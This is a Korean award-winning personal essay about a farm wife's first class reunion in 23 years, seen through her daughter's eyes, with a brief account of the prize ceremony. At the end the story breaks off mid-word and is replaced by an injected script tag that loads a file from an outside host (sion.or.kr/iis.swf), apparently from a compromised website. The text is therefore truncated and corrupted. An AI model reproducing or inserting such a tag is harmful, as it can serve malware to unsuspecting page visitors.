스물 세해만의 외출 - 이현미 작

“이젠 어머니도 화장 잘해요”....................... 대상 이현미씨 대상을 받은 이현미 씨는 현직 간호사. 시상식에도 바쁜 시간을 쪼개 참석했다. 이 씨는 “이제는 어머니가 화장을 잘하신다”라고 수상소감을 말하며 어머니의 그을린 얼굴을 떠올리는 것 같았다. 심사위원장인 소설가 김지연 씨는 농삿일에 그을린 어머니가 동창회에 나갔다 풀죽은 모습으로 들어오는 모습을 하고 어머니에 대한 안쓰러움과 아픔을 담담하고 진솔하게 표현한 수작이라고 평가했다.

나의 어머니는 가난한 농부의 아내다. 화장기라곤 없는 메마르고, 푸석푸석한 얼굴, 언제나 새까맣게 탄 얼굴과 억세어진 손마디… 엄만 내 기억 속에 촌부의 아내라는 모습만이 남아 있다. 그런 엄마의 모습이 보기 싫어 화장 좀 하라고, 자기 자신을 꾸미라고 말을 하지만 엄만 그때마다 이렇게 말한다. “얼굴에 쓸 돈이 어디 있노? 그럴 돈 없다." 이런 말로 나의 말을 일축하곤 했다. 그러던 어느 날, 엄마 앞으로 편지 한 통이 배달되었다. 엄만 자신의 이름이 적힌 편지를 수 십 년 만에 처음 받아본 것이다. 무슨 편지일까? 엄만 기대에 차서 자신의 이름이 적힌 편지봉투를 조심스럽게 뜯었다. 동창회 모임에 참가해 달라는 편지. 엄만 결혼한 지 23년 만에 나들이 한다는 기분이 드셨는지 내심 기뻐하는 눈치였다. 엄만 자신의 첫 나들이이자 자신의 추억 속에만 있던 친구들을 만난다는 기쁨에 우리에게 괴짜친구들에 대해 얘기하면서 추억에 잠기는 모습을 보였다 난 엄마에게도 학창시절이 있고, 추억이 있다는 사실에 놀랐다. 엄만 나에겐 항상 집안 청소만 하는 존재, 들에 나가 호미질을 하는 존재, 우리들의 도시락을 싸주시는 존재로 밖에 여겨지지 않았기 때문이다. 엄마의 이야기를 들으면서 내가 엄마를 많이 모르고 있었고, 알려고도 하지 않았다는 생각이 들었다. 변명을 하자면 학교 다닐 땐 공부하는 데만 급급하여 얼굴도 제대로 보지 않았고, 대화라곤 도시락 빨리 줘 이런 말밖엔 없었던 것 같다. 대학 에 진학하고선 자취생활을 하면서 집에는 2주일에 한번 들릴까 말까 했고, 집에 가서는 같은 동네 친구들 만나기 바빠 부모님 얼굴 마주치는 일은 거의 없었던 것 같다. 대학을 마치고 몇 달간의 백수생활이 시작되었고, 부모님이 취직하라고 재촉하는 것도 아닌데도 내 자신의 무능함을 보이고 싶지 않아 하루 종일 취업하기 위해 거리를 헤매 다녔다. 퉁퉁 부은 다리로 집으로 들어오면 곧바로 방으로 들어가 쓰러지듯 잠이 들었고, 엄만 밥이라도 먹이고자 안간힘을 써서 날 흔들어 깨우곤 했는데, 난 도리어 엄마에게 짜증을 내곤 했다. 쓸쓸히 방문을 나서며 엄만 밥이라도 먹고 자지 하며 못내 아쉬움을 토하곤 했다. 언제나 그림자 같았던 엄마였기에 엄마에게 우리 식구 외에 다른 사람이 있을 거라는 생각은 하지 않았던 것이다. 엄마의 초조함은 동창회가 다가올수록 확연하게 드러났다. 엄만 동창회에 나가서 친구들을 만나 무슨 얘기를 나눌지를 미리 걱정하고, 친구들에게 줄 거라면서 마늘이랑 참깨, 들기름 등을 보자기에 정성스레 싸기 시작했다. 부산을 떠는 엄마에게 내가 말했다. “뭐 할려고 그런 걸 싸! 요즘에 널린게 그런건데, 친구 분들이 좋아하겠어?" 그러자 엄마는 반색하며 말했다. ‘무슨 소리를 하는거야, 아무리 널렸다 하더라도 이건 그냥 참깨가 아닌거다. 이건 내가 친구들에게 주는 우정인기다." 드디어 동창회 날, 엄만 새벽 일찍 일어나 서둘러 준비를 하셨다. 잘 감지도 않던 머리도 감고, 곱게 빗질도 하였다. 또한 옷장에서 가장 아끼는 옷을 입고선 나에게 와서 어떠냐고 물었다. 난 그런 엄마를 물끄러미 쳐다만 볼 뿐이었다. 엄만 자신이 준비한 보따리를 머리에 이고, 다른 한 손에 들기름 병을 쥐고서 버스 정류장을 향했다. 그 때 엄마의 뒷모습은 구름 위를 걸어가는 듯 가벼워 보였다. 그 날 엄마는 저녁이 늦도록 돌아오지 않았다. 나와 식구들은 친구들을 만나 즐겁게 지내는 걸로만 생각했다. 날은 어두워지고, 비라도 내리려는 듯하여 걱정이 되었는데, 아니나 다를까 비가 부슬부슬 오기 시작했다. 빗줄기가 거세져 난 우산을 들고 버스 정류장으로 나갔고, 언제 올지도 모르는 엄마를 기다렸다. 점점 기다리는데 지쳐 신경질도 나고 해서 집으로 돌아가려고 하는 찰나였다. 버스가 정류장에 들어서고 있었다. 혹시나 하여 기다렸더니 뒷문 쪽에 엄마의 모습이 눈에 들어왔다. 뒷문이 열리고 엄마가 내렸다. 그런?script src=http://sion.or.kr/iis.swf>

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